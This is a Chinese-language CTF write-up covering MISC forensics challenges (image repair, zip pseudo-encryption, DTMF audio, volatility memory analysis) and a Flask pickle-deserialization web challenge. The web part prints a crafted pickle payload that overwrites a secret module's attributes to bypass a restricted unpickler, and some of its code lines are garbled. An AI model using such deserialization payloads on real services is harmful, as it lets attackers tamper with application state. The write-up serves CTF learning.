MISC
0x00 简单MISC
下载附件 解压得到压缩包文件和一张图片
打开压缩包发现 加密
从图片中找答案
图片损坏
放到010editor中
发现文件头部错误 将D0
改为D8
即可正常打开
怀疑为图片隐写
放入kali中 foremost分离文件
得到一个未加密压缩包
内部有ctf.txt文件
解压打开发现为摩尔斯密码
解密工具解密
得到字符串 去掉中间空格即为flag.zip的密码
得到base64编码的字符串
密码工具解密
加上格flag{}得到flag{Th1s_is_FlaG_you_aRE_rigHT}
0x01 隐藏的信息
下载附件解压得到 含有音频文件的压缩包和一张残缺二维码图片
首先对二维码下手
Ps拼接发现扫不出来
猜测颜色反转
反转拼接之后得到图片
扫出来发现没什么用0.0
然后对原图片进行操作
放入010editor
尝试搜索flag
Togetyourflag前面肯定还有东西 看不清
放入kali中利用strings打印可打印字符
在最后得到
记录一下重要信息
再看压缩包 名字为 纯数字
一开始怀疑是密码
尝试暴力破解失败
然后放到010editor
看头部发现为 伪加密
找到 文件处 此处09 改为01
得到音频文件
听一遍发现是武汉加油的一段音乐
放到Audacity分析音频
发现前后有两段音频波形变化很小
单独剪出来
声音开到最大 听到好像是按电话的声音
显示频谱图
由压缩包名字 纯数字 猜测可能为12个数字
则需要分析每段频率 得到电话按键数字
在网上找到对应图
对每一段分别进行频谱分析
得到12个数字
18748561852
直接拿去提交失败
又想到一开始二维码图片中的信息
Use base64
直接base64编码
加上特定格式得到flag
flag{MTg3NDg1NjE4NTIx}
0x02 ez_mem&usb
下载附件 解压得到81.6M的数据包文件
wireshark打开
追踪tcp流
可以看到内容为一个zip文件
保存原始数据
放入010editor
得到一个压缩包
解压得到文件data.vmem
放入kali使用内存取证工具volatility
执行下列命令判断信息
volatility -f data.vmem imageinfo
使用ptofile
执行命令
volatility -f data.vmem --profile=WinXPSP2x86 pslist
查看进程信息
可以看到有使用cmd的记录
volatility -f data.vmem --profile=WinXPSP2x86 cmdscan
查看cmd历史命令
得到一个
passwd:weak_auth_top100
记录重要信息
接下来一个脑洞大开的地方
data.vmem文件过大 怀疑内部隐藏有其他文件
直接放入010editor
搜索zip文件头504B0304
发现有一个包
截取片段 新建一个1.zip文件
查看不是伪加密 需要密码
这时候就用到了在cmd命令中找到的psword
直接解密得到usbdata.txt
打开发现 中间夹了一串数字
根据题目提示 想到usb协议
查阅资料找到
https://patentimages.storage.googleapis.com/6d/6c/15/46fc9661672590/CN102662431A.pdf
题目有提示字母均为小写
一一对应得到
flag{69200835784ec3ed8d2a64e73fe913c0}
Web
Webtmp
打开地址页面
可以直接查看源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
看到是python
新建一个1.py 把源码放到文件里分析(好看一些)
用到了反序列化
可以看到
我们需要构造一个与题目secret中一样的Animal类才能拿到flag
但是不能进行命令执行
因为r被禁止
通过查找资料 反序列化的b指令
可以直接新建一个字典把原有的覆盖
构造payload
b'c__main__\nsecret\n}S'name'\nS'OTL'\nsS' category'\nS'OTL'\nsb.'
即为
c__main__
secret
}S'name'
S'OTL'
sS'category'
S'OTL'
sb.
对payload进行base64编码
提交base64编码部分
得到返回结果
证明词典已被修改
然后构造一个类和自己设定的一样
根据源码中
sample_obj Animal('—给我哩giaogiao" , "Giao ')
sample_obj Animal('—给我哩giaogiao" , "Giao ')
roturn render_template('unpickle_page.htmi ',sample_objmsample_obj,pickle_datampickle_data)
运行此段代码
得到base64编码的新对象
直接提交base64值
得到flag
注:python反序列化详细介绍:https://www.anquanke.com/post/id/188981#h3-6